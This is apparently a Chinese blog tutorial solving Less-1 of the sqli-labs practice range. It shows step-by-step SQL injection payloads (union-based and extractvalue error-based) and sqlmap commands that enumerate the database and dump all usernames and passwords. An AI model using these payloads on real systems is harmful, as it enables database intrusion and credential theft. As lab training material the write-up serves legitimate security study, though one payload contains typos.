Less-1(GET字符型)
union联合注入(方法一)
进入靶场

按照要求提交一个id:http://192.168.121.131/sqli/Less-1/?id=1
数据库执行语句:select * from news where id=1页面返回描述:返回内容正常
正常浏览页面,找到有参数的地方,如id

判断注入点
1.使用单引号来判断是否有注入点?id=1'
出现报错说明有注入点

判断注入类型
判断是数字型还是字符类型
数字型注入判断:
?id=1 and 1=1如果是数字型页面正常
?id=1 and 1=2如果是数字型页面返回内容为空,因为sql语句中,1=2不成立
以下页面都是正常的,可以判断这是一个字符串注入


字符串类型判断:
使用单引号和--+闭合进行判断
?id=1' and 1=1--+如果是字符型页面正常
?id=1' and 1=2--+如果是字符型页面返回内容为空,因为sql语句中,1=2不成立
以下页面的?id=1' and 1=2--+返回内容为空,可以判断这是一个字符串注入


判断字段
通过SQL语句中order by N 来判断有几个字段
order by N 页面报错 字段为N-1
字符型判断字段:
?id=1' order by 1--+ 页面正常
?id=1' order by 2--+ 页面正常
?id=1' order by 3--+ 页面正常
?id=1' order by 4--+ 页面报错
由此得出有3个字段


显位
id=1' and 1=2 union select 1,2,3--+

查库名
id' and 1=2 union select 1,database(),3--+
得到库名 security

查表
?id=1' and 1=2 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()--+

查到 四个表emails,referers,uagents,users
查列名
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查出列名
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
查内容
#单个账号和密码
?id=1' and 1=2 union select 1,username,passwoed form users--+

所有的账号和密码
?id=1' and 1=2 union select 1,group_concat(username),group_concat(password) from users--+

报错注入(方法二)
前四步(判断注入点,判断类型,判断字段,显位)和union联合注入一样
报错注入模板:
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(查询语句))),3 --+
查库
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select database()))),3 --+
报错信息成功查询到了库名

查表
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),3 --+

查到 四个表emails,referers,uagents,users
查列名
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))),3 --+

查出列名
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
查内容
# 查询账号
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(username) from users))),3 --+
# 查询密码
?id=1' and 1=2 union select 1,extractvalue(1,concat(0x7e,(select group_concat(password) from users))),3 --+


sqlmap工具
启动工具sqlmap
python sqlmap.py

来到靶场,安装要求添加ID?id=1

sqlamp查找漏洞注入点
- 这样步可以直接跳过,从查库开始
复制路径http://192.168.121.129:8002/Less-1/?id=1
回到sqlmap工具的终端
-u: 添加一个url
python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1
通过工具扫描出有4中方法可以注入

查库
默认工具使用方法注入,不指定方法
--dbs:查询数据库
python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 --dbs
在运行过程中有提示回车默认选项就完事了


查出5个库,要对其进行判断,我们要查哪一个库,才能找到我们要查的内容
challenges
information_schema:系统库无需查
mysql:系统库无需查
performance_schema系统库无需查
security
查表
-dbs改为-D+库名secrity
--tables 查表
python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security --tables


查出4个表,其中有一个users的表名,无需判断直接查表
emails
referers
uagents
users
查列名
--columns 查列名
python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users --columns


有四个列名查列名id,password,username的内容
查账号密码
使用--dump输出内容
python sqlmap.py -u http://192.168.121.129:8002/Less-1/?id=1 -D security -T users -C id,password,username --dump

得出所以账号密码内容:

Less-1(GET字符型)的更多相关文章
- 字符型图片验证码识别完整过程及Python实现
字符型图片验证码识别完整过程及Python实现 1 摘要 验证码是目前互联网上非常常见也是非常重要的一个事物,充当着很多系统的 防火墙 功能,但是随时OCR技术的发展,验证码暴露出来的安全问题也越 ...
- [转]字符型IP地址转换成数字IP的SQL函数
使用SQL函数可以实现许多的功能,下面为您介绍的是字符型IP地址转换成数字IP的SQL函数示例,供您参考,希望对您学习SQL函数能够有所帮助. /**//*--调用示例 sele ...
- c++之字符型中的特殊字符回车符
1.字符型的应用之强制类型转换: #include<iostream> using namespace std; int main() { ;i<;i++) { cout<&l ...
- FineReport根据点击次数奇偶性排序之字符型
上一篇文章我们提到了字段为数据型的数据列排序方法,采用的是根据点击次数奇偶性来排序,那如果是字段为字符型,又该如何实现呢? 这里提供的解决思路是通过超级链接来实现升序降序两张模板之间的相互调用,每点击 ...
- (转)C语言16进制输出字符型变量问题
最近在做一个C的嵌入式项目,发现在C语言中用printf()函数打印字符型变量时,如果想采用"%x"的格式将字符型变量值以十六进制形式打印出来,会出现一个小问题,如下: char ...
- 如何为编程爱好者设计一款好玩的智能硬件(九)——LCD1602点阵字符型液晶显示模块驱动封装(下)
六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...
- 如何为编程爱好者设计一款好玩的智能硬件(八)——LCD1602点阵字符型液晶显示模块驱动封装(中)
六.温湿度传感器DHT11驱动封装(下):如何为编程爱好者设计一款好玩的智能硬件(六)——初尝试·把温湿度给收集了(下)! 七.点阵字符型液晶显示模块LCD1602驱动封装(上):如何为编程爱好者设计 ...
- 如何为编程爱好者设计一款好玩的智能硬件(七)——LCD1602点阵字符型液晶显示模块驱动封装(上)
当前进展: 一.我的构想:如何为编程爱好者设计一款好玩的智能硬件(一)——即插即用.积木化.功能重组的智能硬件模块构想 二.别人家的孩子:如何为编程爱好者设计一款好玩的智能硬件(二)——别人是如何设计 ...
- 让人又爱又恨的char(字符型)
今天来总结一下char型,平常写算法的时候对这个东西感觉都有一点绕着走,说到底还是对这部分的知识不熟悉所以有点怕他,不过以后不要怕,今天来总结一下 首先,说到字符型数据类型,char型,恩它是一种数据 ...
- 在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’;输出这个数组中的所有元素。
//在主方法中定义一个大小为10*10的二维字符型数组,数组名为y,正反对角线上存的是‘*’,其余 位置存的是‘#’:输出这个数组中的所有元素. char [][]y=new char [10][10 ...
随机推荐
- 将Java代码打包成jar文件转换为.exe可执行程序方法
做完学生管理系统后我想将代码打包成一个可执行程序,那样就可以直接点击在Windows下运行了,下面就跟大家分享下打包方法. 将Java的代码转换成 .exe 文件需要先把代码打包成 jar 文件然 ...
- Invalid bound statement (not found): com.zheng.mapper.UserMapper.login
错误的原因:mybatis中dao接口与mapper配置文件在做映射绑定的时候出现问题,简单说,就是接口与xml要么是找不到,要么是找到了却匹配不到. mapper接口开发规范 1.Mapper.xm ...
- 《Java并发编程的艺术》读书笔记:一、并发编程的目的与挑战
发现自己有很多读书笔记了,但是一直都是自己闷头背,没有输出,突然想起还有博客圆这么个好平台给我留着位置,可不能荒废了. 此文读的书是<Jvava并发编程的艺术>,方腾飞等著,非常经典的一本 ...
- NLP之基于logistic回归的文本分类
数据集下载: 链接:https://pan.baidu.com/s/17EL37CQ-FtOXhtdZHQDPgw 提取码:0829 逻辑斯蒂回归 @ 目录 逻辑斯蒂回归 1.理论 1.1 多分类 1 ...
- Docker在windows系统以及Linux系统的安装
Docker简介和安装 Docker是什么 Docker 是一个应用打包.分发.部署的工具 你也可以把它理解为一个轻量的虚拟机,它只虚拟你软件需要的运行环境,多余的一点都不要, 而普通虚拟机则是一个完 ...
- [CS61A] Lecture 5&6&7. Environments & Design & Functions Examples & Homework 2: Higher Order Functions
[CS61A] Lecture 5&6&7. Environments & Design & Functions Examples & Homework 2: ...
- 2022春每日一题:Day 31
题目:机器分配 设f[i][j]表示前i个机器,共分配了j个的最大值,枚举第i个机器分配个数,转移f[i][j]=max{f[i-1][k]+a[i][j-k]},此题只是加了个要输出 代码: #in ...
- Kubernetes_k8s持久化存储(亲测可用)
一.前言 新建具有两个节点的k8s集群,主节点(master节点/m节点)的ip地址是192.168.100.150,从节点(w1节点)的ip地址是192.168.100.151. 本文操作如何将po ...
- halcon如何识别硬币?
halcon如何识别硬币? 前言 最近一直在学习halcon,在此做了一个案例,分享给大家,效果图如下: 1.思路分析 通过观察,发现1元,5角,1角,它们在面值的文字描述不一样,硬币显示的花纹不一样 ...
- 根据MediatR的Contract Messages自动生成Minimal WebApi接口
大家好,我是失业在家,正在找工作的博主Jerry.今天给大家介绍一个能大大减少ASP.Net Minimal WebApi编码量的方法. 我们一般会把微服务的VO和DTO封装成消息类,并作为WebAp ...